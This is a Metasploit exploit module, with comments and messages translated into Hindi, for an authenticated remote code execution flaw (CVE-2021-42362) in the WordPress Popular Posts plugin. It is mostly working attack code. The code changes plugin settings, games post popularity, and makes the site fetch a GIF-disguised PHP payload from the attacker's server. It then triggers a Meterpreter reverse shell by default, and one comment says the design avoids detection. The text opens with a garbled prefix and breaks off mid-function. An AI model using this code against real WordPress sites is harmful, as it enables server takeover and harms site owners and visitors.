nate158g-m-w-n-l-p-d-a-o-e### इस मॉड्यूल के लिए Metasploit आवश्यक है: https://metasploit.com/download# वर्तमान स्रोत: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ इस एक्सप्लॉइट के लिए Metasploit के पास एक FQDN होना चाहिए और पोर्ट 80, 443, या 8080 पर पेलोड वेब सर्वर चलाने की क्षमता होनी चाहिए। FQDN को किसी आरक्षित पते (192/172/127/10) पर हल नहीं करना चाहिए। सर्वर को GET अनुरोध प्राप्त करने से पहले, पेलोड के लिए HEAD अनुरोध का भी जवाब देना होगा। यह एक्सप्लॉइट Wordpress प्लगइन Popular Posts <= 5.3.2 में एक प्रमाणित अनुचित इनपुट सत्यापन का लाभ उठाता है। एक्सप्लॉइट श्रृंखला काफी जटिल है। प्रमाणीकरण आवश्यक है और सर्वर पर PHP के लिए 'gd' आवश्यक है। फिर Popular Post प्लगइन को विजेट में पोस्ट इमेज के लिए एक मनमाना URL की अनुमति देने के लिए पुन: कॉन्फ़िगर किया जाता है। एक पोस्ट बनाई जाती है, फिर पोस्ट को पिछले #1 से 5 अधिक लोकप्रिय बनाने के लिए अनुरोध भेजे जाते हैं। एक बार पोस्ट शीर्ष 5 में पहुंच जाती है, और 60 सेकंड (हम 90 प्रतीक्षा करते हैं) सर्वर कैश रीफ्रेश के बाद, होमपेज विजेट लोड होता है जो प्लगइन को हमारे सर्वर से पेलोड डाउनलोड करने के लिए ट्रिगर करता है। हमारे पेलोड में 'GIF' हेडर है, और एक डबल एक्सटेंशन ('.gif.php') है जो मनमाना PHP कोड निष्पादित करने की अनुमति देता है। }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 मिनट, साइट पर अन्य आगंतुक ट्रिगर कर सकते हैं }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'खाते का उपयोगकर्ता नाम', 'admin']), OptString.new('PASSWORD', [true, 'खाते का पासवर्ड', 'admin']), OptString.new('TARGETURI', [true, 'Wordpress सर्वर का आधार पथ', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'metasploit सर्वर का FQDN। किसी आरक्षित पते (192/10/127/172) पर हल नहीं होना चाहिए', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'सुनने के लिए स्थानीय पोर्ट।', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress का पता नहीं चला।') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts एक कमजोर संस्करण नहीं है') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # यदि सर्वर द्वारा फ़ाइल लिखने में समय विलंब हो तो इसे 5 बार लूप करें (1..5).each do |i| print_status("शेल ट्रिगर कर रहा है: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} 10 सेकंड में। प्रयास #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('पेलोड खोजने में विफल, हो सकता है सही ढंग से अपलोड न हुआ हो।') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('प्रारंभिक HEAD अनुरोध का जवाब दे रहा है (चेक 1 पास)') # https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests के अनुसार हमारे पास एक मान्य Content-Length होना चाहिए # हालांकि यह गतिशील रूप से गणना की जाती है, क्योंकि इस प्रतिक्रिया पर इसे 0 पर अधिलेखित कर दिया जाता है। यहां नोट्स के रूप में छोड़ रहे हैं। # सही आकार बनाने के लिए बॉडी में सही पेलोड भेजना नहीं चाहता था क्योंकि इससे पकड़े जाने की संभावना अधिक होती है return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('GET अनुरोध का जवाब दे रहा है (चेक 2 पास)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # किसी अजीब कारण से हमें PHP/WP को अपने कार्यों को पूरा करने के लिए मैन्युअल रूप से कनेक्शन बंद करना होगा Rex.sleep(2) # WP के लिए सभी आवश्यक जांच पूरी करने की प्रतीक्षा करें trigger_payload(on_disk_payload_name) end print_status("अप्रत्याशित #{request.method} अनुरोध प्राप्त हुआ") end def check_gd_installed(cookie) vprint_status('जाँच रहा है कि gd स्थापित है या नहीं') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'साइट प्रतिक्रिया नहीं दे रही') unless res fail_with(Failure::UnexpectedReply, 'पृष्ठ पुनर्प्राप्त करने में विफल') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('wpp_admin टोकन प्राप्त कर रहा है') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'साइट प्रतिक्रिया नहीं दे रही') unless res fail_with(Failure::UnexpectedReply, 'पृष्ठ पुनर्प्राप्त करने में विफल') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('छवियों के लिए लोकप्रिय पोस्ट सेटिंग्स अपडेट कर रहा है') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp